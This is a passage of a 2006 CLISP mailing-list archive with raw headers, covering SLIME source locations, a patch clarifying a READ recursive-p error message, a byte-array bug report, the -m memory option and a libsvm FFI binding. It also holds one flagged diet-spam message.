Subject: Re: [clisp-list] attn: slime users X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Sep 2006 00:43:06 -0000 Sam Steingold wrote: > this has been around for a year. > is anyone using it? > >> * Sam Steingold [2005-08-05 15:57:13 -0400]: >> >> CLISP SLIME users might want to grab CLISP cvs head and nag SLIME >> developers to use it too: >> (documentation 'symbol 'sys::file) >> now returns a list of (file start-line end-line). >> file = file where the symbol was defined >> start-line and end-line are the locations in the file. >> note that when file is "foo.fas", >> line numbers should still point to "file.lisp"! I use it, as do all other CLISP SLIME users who use M-. (slime-edit-definition). From swank-clisp.lisp: (defun fspec-pathname (symbol) (let ((path (documentation symbol 'sys::file)) lines) (when (consp path) (psetq path (car path) lines (cdr path))) (when (and path (member (pathname-type path) custom:*compiled-file-types* :test #'equal)) (setq path (loop for suffix in custom:*source-file-types* thereis (probe-file (make-pathname :defaults path :type suffix))))) (values path lines))) On a personal note, I greatly appreciate this information being available. -- Stephen Compall http://scompall.nocandysw.com/blog From Bernard.Urban@meteo.fr Mon Sep 11 07:53:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMn9h-00010v-1f for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 07:53:01 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GMn9e-0005uP-Kr for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 07:53:01 -0700 Received: from localhost (cadillac.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (Postfix) with ESMTP id B44A5D55E4; Mon, 11 Sep 2006 14:52:43 +0000 (UTC) Received: from cadillac.meteo.fr ([127.0.0.1]) by localhost (amavisd.meteo.fr [127.0.0.1]) (amavisd-new, port 10023) with ESMTP id 15236-10; Mon, 11 Sep 2006 14:52:43 +0000 (UTC) Received: from montaillou.dso.meteo.fr (montaillou.dso.meteo.fr [137.129.94.172]) by cadillac.meteo.fr (Postfix) with ESMTP id 6ADD4D5286; Mon, 11 Sep 2006 14:52:43 +0000 (UTC) To: References: <17666.5453.600981.158617@thalassa.informatimago.com> From: Bernard Urban Gcc: nnml:mail.copie Date: Mon, 11 Sep 2006 16:52:43 +0200 In-Reply-To: <17666.5453.600981.158617@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sat, 9 Sep 2006 03:13:49 +0200") Message-ID: User-Agent: Gnus/5.1007 (Gnus v5.10.7) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Virus-Scanned: amavisd-new at meteo.fr X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Sep 2006 14:53:01 -0000 Pascal Bourguignon writes: > Bernard Urban writes: >> >> Consider the following code: >> [...] >> The third argument recursive-p to read is from CLHS "expected" to be t >> when called from set-dispatch-macro-character. I had it true also in >> the upper level read in the last line, and clisp-2.38 failed with that >> value giving an error message: >> >> *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been >> arbitrarily altered >> The following restarts are available: >> ABORT :R1 ABORT >> >> I am unsure if it should trigger an error, and even if yes, it is not >> very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is >> not described in the doc, you have to look the source code in io.d to >> find reference to it). > > When you call read from the top level, you must set recursive-p to NIL. ^^^^ If the wording of CLHS had been so affirmative, I would have lost less time on that problem. In the beginning I also missed section 23.1.3.2 which explains things a bit more. I find the clisp error message still a bit harsh when compared to the self-explanatory one you obtain with say (/ 0). Best regards. -- Bernard Urban From sds@gnu.org Mon Sep 11 08:10:21 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMnQT-0003kz-0Z for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 08:10:21 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GMnQQ-0001Zt-EH for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 08:10:20 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AC543B200D8; Mon, 11 Sep 2006 11:10:12 -0400 Message-ID: <45057C52.8020309@gnu.org> Date: Mon, 11 Sep 2006 11:10:10 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 To: Bernard Urban References: <17666.5453.600981.158617@thalassa.informatimago.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Sep 2006 15:10:21 -0000 Bernard Urban wrote: > Pascal Bourguignon writes: > >> Bernard Urban writes: >>> Consider the following code: >>> [...] >>> The third argument recursive-p to read is from CLHS "expected" to be t >>> when called from set-dispatch-macro-character. I had it true also in >>> the upper level read in the last line, and clisp-2.38 failed with that >>> value giving an error message: >>> >>> *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been >>> arbitrarily altered >>> The following restarts are available: >>> ABORT :R1 ABORT >>> >>> I am unsure if it should trigger an error, and even if yes, it is not >>> very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is >>> not described in the doc, you have to look the source code in io.d to >>> find reference to it). >> When you call read from the top level, you must set recursive-p to NIL. > ^^^^ > If the wording of CLHS had been so affirmative, I would have lost less > time on that problem. In the beginning I also missed section 23.1.3.2 > which explains things a bit more. > > I find the clisp error message still a bit harsh when compared to the > self-explanatory one you obtain with say (/ 0). does this patch make the message better? (it's against CVS head) --- io.d 11 Sep 2006 06:01:06 -0400 1.296 +++ io.d 11 Sep 2006 11:06:10 -0400 @@ -2223,6 +2223,14 @@ GETTEXT("~S: the value of ~S has been arbitrarily altered to ~S")); } +local object check_read_reference_table (void) { + var object val = Symbol_value(S(read_reference_table)); + if (boundp(val)) return val; + pushSTACK(S(read)); pushSTACK(S(read_reference_table)); + pushSTACK(TheSubr(subr_self)->name); + fehler(error,GETTEXT("~S: symbol ~S is not bound, it appears that top-level ~S was called with a non-NIL recursive-p argument")); +} + /* UP: disentangles #n# - References to #n= - markings in an Object. > value of SYS::*READ-REFERENCE-TABLE*: Alist of Pairs (marking . marked Object), where @@ -2230,7 +2238,7 @@ > obj: Object < result: destructively modified Object without References */ local object make_references (object obj) { - var object alist = Symbol_value(S(read_reference_table)); + var object alist = check_read_reference_table(); # SYS::*READ-REFERENCE-TABLE* = NIL -> nothing to do: if (nullp(alist)) { return obj; @@ -3652,7 +3660,7 @@ } # n is an Integer >=0. var object alist = # value of SYS::*READ-REFERENCE-TABLE* - Symbol_value(S(read_reference_table)); + check_read_reference_table(); # Execute (assoc n alist :test #'read-label-equal): var bool smallp = small_read_label_integer_p(n); var object label = (smallp ? make_small_read_label(posfixnum_to_V(n)) : nullobj); From pjb@informatimago.com Mon Sep 11 10:23:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMpVb-0000j2-FK for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 10:23:47 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GMpVZ-0002tU-Fx for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 10:23:47 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 02946585E7; Mon, 11 Sep 2006 19:23:38 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A86FA585D4; Mon, 11 Sep 2006 19:23:34 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C2B888FF2; Mon, 11 Sep 2006 19:23:33 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17669.39829.249656.972845@thalassa.informatimago.com> Date: Mon, 11 Sep 2006 19:23:33 +0200 To: Bernard Urban In-Reply-To: References: <17666.5453.600981.158617@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Sep 2006 17:23:47 -0000 Bernard Urban writes: > Pascal Bourguignon writes: >=20 > > Bernard Urban writes: > >>=20 > >> Consider the following code: > >> [...] > >> The third argument recursive-p to read is from CLHS "expected" to be= t > >> when called from set-dispatch-macro-character. I had it true also in > >> the upper level read in the last line, and clisp-2.38 failed with th= at > >> value giving an error message: > >>=20 > >> *** - READ: the value of SYSTEM::*READ-REFERENCE-TABLE* has been > >> arbitrarily altered=20 > >> The following restarts are available: > >> ABORT :R1 ABORT > >>=20 > >> I am unsure if it should trigger an error, and even if yes, it is no= t > >> very telling about what happened (SYSTEM::*READ-REFERENCE-TABLE* is > >> not described in the doc, you have to look the source code in io.d t= o > >> find reference to it). > > > > When you call read from the top level, you must set recursive-p to NI= L. > ^^^^ > If the wording of CLHS had been so affirmative, I would have lost less > time on that problem. In the beginning I also missed section 23.1.3.2=20 > which explains things a bit more. Yes, CLHS is terse, rather informal, and somewhat underspecifies. Other material come handy to understand better CLHS and make its exegesis= , like tutorials, historic implementations and manuals from CL implementati= ons. > I find the clisp error message still a bit harsh when compared to the > self-explanatory one you obtain with say (/ 0). Perhaps you could provide a patch? However, it seems to be difficult to distinguish between a toplevel call and a possibly recursive call, since we may do non-recursive read from recursive reads. For example: (read-from-string "(a b #I\"/some/file.lisp\" c d)") Assuming a #I reader macro that would (non-recursively) read the file, and return some or all forms read from it. So I think the only thing we can do is to add a suggestion in the error message, like: "did you call a READ function with recursive-p set to T for a top-level read?" when it is a recusive read. --=20 __Pascal Bourguignon__ http://www.informatimago.com/ Kitty like plastic. Confuses for litter box. Don't leave tarp around. From pjb@informatimago.com Mon Sep 11 10:25:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMpX3-0000t2-BZ for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 10:25:17 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GMpX0-0003FL-Oy for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 10:25:17 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id BF743585E7; Mon, 11 Sep 2006 19:25:11 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B6411585D4; Mon, 11 Sep 2006 19:25:08 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6350B8FF2; Mon, 11 Sep 2006 19:25:08 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17669.39924.368525.667745@thalassa.informatimago.com> Date: Mon, 11 Sep 2006 19:25:08 +0200 To: Sam Steingold In-Reply-To: <45057C52.8020309@gnu.org> References: <17666.5453.600981.158617@thalassa.informatimago.com> <45057C52.8020309@gnu.org> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Bernard Urban , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Sep 2006 17:25:17 -0000 Sam Steingold writes: > Bernard Urban wrote: > >> When you call read from the top level, you must set recursive-p to N= IL. > > ^^^^ > > If the wording of CLHS had been so affirmative, I would have lost les= s > > time on that problem. In the beginning I also missed section 23.1.3.2= =20 > > which explains things a bit more. > >=20 > > I find the clisp error message still a bit harsh when compared to the > > self-explanatory one you obtain with say (/ 0). >=20 > does this patch make the message better? (it's against CVS head) Already done! Thank you :-) --=20 __Pascal Bourguignon__ http://www.informatimago.com/ CAUTION: The mass of this product contains the energy equivalent of 85 million tons of TNT per net ounce of weight. From sds@gnu.org Mon Sep 11 11:38:40 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GMqg3-0007YG-V8 for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 11:38:40 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GMqg2-0006ho-HI for clisp-list@lists.sourceforge.net; Mon, 11 Sep 2006 11:38:39 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AFC1FD0042; Mon, 11 Sep 2006 13:41:21 -0400 Message-ID: <45059FBE.3060701@gnu.org> Date: Mon, 11 Sep 2006 13:41:18 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 To: pjb@informatimago.com References: <17666.5453.600981.158617@thalassa.informatimago.com> <45057C52.8020309@gnu.org> <17669.39924.368525.667745@thalassa.informatimago.com> In-Reply-To: <17669.39924.368525.667745@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Bernard Urban , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] set-dispatch-macro-character and recursive read weirdness X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Sep 2006 18:38:40 -0000 Pascal Bourguignon wrote: > Sam Steingold writes: >> Bernard Urban wrote: >>>> When you call read from the top level, you must set recursive-p to NIL. >>> ^^^^ >>> If the wording of CLHS had been so affirmative, I would have lost less >>> time on that problem. In the beginning I also missed section 23.1.3.2 >>> which explains things a bit more. >>> >>> I find the clisp error message still a bit harsh when compared to the >>> self-explanatory one you obtain with say (/ 0). >> does this patch make the message better? (it's against CVS head) > > Already done! Thank you :-) > for the record: my message was not "already done" but "does this patch make the message better?" there is no promise that the patch will be committed into the CVS. please test it and see if it makes things better. thanks. From sds@podval.org Fri Sep 15 10:31:35 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GOHXL-00048w-QP for clisp-list@lists.sourceforge.net; Fri, 15 Sep 2006 10:31:35 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GOHXB-0005bm-Ao for clisp-list@lists.sourceforge.net; Fri, 15 Sep 2006 10:31:26 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3663EC008A; Fri, 15 Sep 2006 13:31:18 -0400 Message-ID: <450AE365.5070802@podval.org> Date: Fri, 15 Sep 2006 13:31:17 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.5 (X11/20060808) MIME-Version: 1.0 To: daly@axiom-developer.org References: <17666.5453.600981.158617@thalassa.informatimago.com> <45057C52.8020309@gnu.org> <17669.39924.368525.667745@thalassa.informatimago.com> <45059FBE.3060701@gnu.org> <200609151704.k8FH4L229843@localhost.localdomain> In-Reply-To: <200609151704.k8FH4L229843@localhost.localdomain> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] strings and byte arrays (was set-dispatch-macro-character and recursive read weirdness) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Sep 2006 17:31:36 -0000 thanks for your bug report. please file a new self-contained bug report with a reproducible test case at http://sourceforge.net/tracker/?func=add&group_id=1355&atid=101355 you might also want to look at http://clisp.cons.org/impnotes/faq.html#faq-help http://clisp.cons.org/impnotes/clisp.html#bugs root wrote: > I seem to have run into a bug in clisp. > > I have a function that converts an string to a byte array. > I hand it a string of hex characters and these are converted > into byte hex strings. > > (defun string-to-byte-array (bytestring) > (let (stack result) > (do ((p 0)) > ((>= p (length bytestring)) nil) > (multiple-value-setq (m n) > (parse-integer bytestring :start p :radix 16 :junk-allowed t)) > (when m (push m stack)) > (setf p n)) > (setq result > (make-array (length stack) :element-type 'unsigned-byte > :initial-contents (nreverse stack))) > (format t "string-to-byte-array ~a ~a ~a~%" (type-of result) > (length bytestring) (length result)) > result)) > > This works fine for small strings. However I have a string that > is roughly 92000 bytes it creates a simple-vector of roughly 30000 bytes. > > The actual output of the format function is: > > string-to-byte-array (SIMPLE-VECTOR 30720) 92159 30720 > > I cannot use either svref or aref on the result because CLISP > complains that the result is not a SIMPLE-VECTOR. > > t From sbehrenss@dard.demon.co.uk Sun Sep 17 23:02:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPCCj-0004LJ-EF for clisp-list@lists.sourceforge.net; Sun, 17 Sep 2006 23:02:05 -0700 Received: from [124.125.58.57] (helo=computer.reliancebroadband.co.in) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPCCh-000259-Pb for clisp-list@lists.sourceforge.net; Sun, 17 Sep 2006 23:02:05 -0700 Message-ID: <000b01c6dae7$f55867b0$4a00a8c0@computer.reliancebroadband.co.in> From: "Janell" To: Date: Mon, 18 Sep 2006 11:32:01 +0500 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V10.0.2627 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.7 HEADER_COUNT_CTYPE Multiple Content-Type headers found -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 2.0 URIBL_OB_SURBL Contains an URL listed in the OB SURBL blocklist [URIs: foundmoreontheone.org] Subject: [clisp-list] know this is private X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Janell List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 18 Sep 2006 06:02:05 -0000 Just thought you might want to know about this agenda, at http://www.jlb.foundmoreontheone.org/pd/ dionys voiced upon to me that you likely overheard about the message on getting back into those jeans, Oh forgot, there also great at supporting me on losing my spare tire. There had been no sound of any kind and no warning He was anxiously watching the Record and scribbling notes on a paper beside him From lisp-clisp-list@m.gmane.org Mon Sep 18 12:05:36 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPOQy-0001JV-Cn for clisp-list@lists.sourceforge.net; Mon, 18 Sep 2006 12:05:36 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GPOQw-00074Q-Tl for clisp-list@lists.sourceforge.net; Mon, 18 Sep 2006 12:05:36 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GPOQO-0003eL-Rv for clisp-list@lists.sourceforge.net; Mon, 18 Sep 2006 21:05:00 +0200 Received: from en4028117.dhcp.asu.edu ([149.169.176.38]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 18 Sep 2006 21:05:00 +0200 Received: from L.Tang by en4028117.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 18 Sep 2006 21:05:00 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lei Tang Date: Mon, 18 Sep 2006 12:05:23 -0700 Lines: 7 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: en4028117.dhcp.asu.edu User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] the meaning of "-m" option? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 18 Sep 2006 19:05:36 -0000 What's the meaning of "-m" option for CLISP? Based on the FAQ, it "sets the amount of memory CLISP" tries to grab on startup". So If I set the memory size to 3mb, then CLisp will just use 3mb to run the code? Or will it automatically increase memory size during the exection? Thanks a ton! -Lei From sds@podval.org Mon Sep 18 16:03:13 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GPS8v-00085J-Gz for clisp-list@lists.sourceforge.net; Mon, 18 Sep 2006 16:03:13 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GPS8q-0006OR-JX for clisp-list@lists.sourceforge.net; Mon, 18 Sep 2006 16:03:13 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A5A384E00A4; Mon, 18 Sep 2006 19:02:59 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 2250B36A5EA; Mon, 18 Sep 2006 19:02:59 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.7/8.13.5) with ESMTP id k8IN2dO5012288; Mon, 18 Sep 2006 19:02:40 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.7/8.13.7/Submit) id k8IN2cJx012287; Mon, 18 Sep 2006 19:02:38 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com Date: Mon, 18 Sep 2006 19:02:38 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Joerg-Cyril.Hoehle@t-systems.com Subject: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: sds@podval.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 18 Sep 2006 23:03:13 -0000 Hi, I am trying to write an FFI module interface to libsvm http://www.csie.ntu.edu.tw/~cjlin/libsvm/ the untested code is appended for comments. Specifically, why doesn't this work: (defun alist-to-nodes (alist) ;; ((index . value) ...) --> ;; C [index;value]...[-1;*] (let* ((len (length alist)) (ret (allocate-shallow 'svm_node :count (1+ len)))) (with-c-place (v ret) (loop :for i :upfrom 0 :for (index . value) :in alist :do (setf (svm_node-index (element v i)) index (svm_node-value (element v i)) value)) (setf (svm_node-index (element v len)) -1)) (foreign-value ret))) Joerg, is your patch adding :COUNT to WITH-FOREIGN-OBJECT ready? I thing it would come handy in several functions in this module. thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://palestinefacts.org http://iris.org.il http://pmw.org.il http://openvotingconsortium.org http://mideasttruth.com He who laughs last thinks slowest. (defpackage "LIBSVM" (:modern t) (:use "CL" "FFI") (:shadowing-import-from "EXPORTING" #:def-c-enum #:def-c-struct #:def-call-out #:def-c-type #:defun)) (in-package "LIBSVM") (setf (documentation (find-package "LIBSVM") 'sys::impnotes) "libsvm") (default-foreign-language :stdc) (defconstant svm-so (namestring (merge-pathnames "svm.so" *load-pathname*))) ;;; types and constants (def-c-struct svm_node (index int) (value double-float)) (def-c-struct svm_problem (l int) ; number of records (y (c-array-ptr double-float)) ; of length l (targets) (x (c-array-ptr (c-array-ptr svm_node)))) ; of length l (predictors) (def-c-enum svm_type C_SVC NU_SVC ONE_CLASS EPSILON_SVR NU_SVR) (def-c-enum kernel_type LINEAR POLY RBF SIGMOID PRECOMPUTED) (def-c-struct 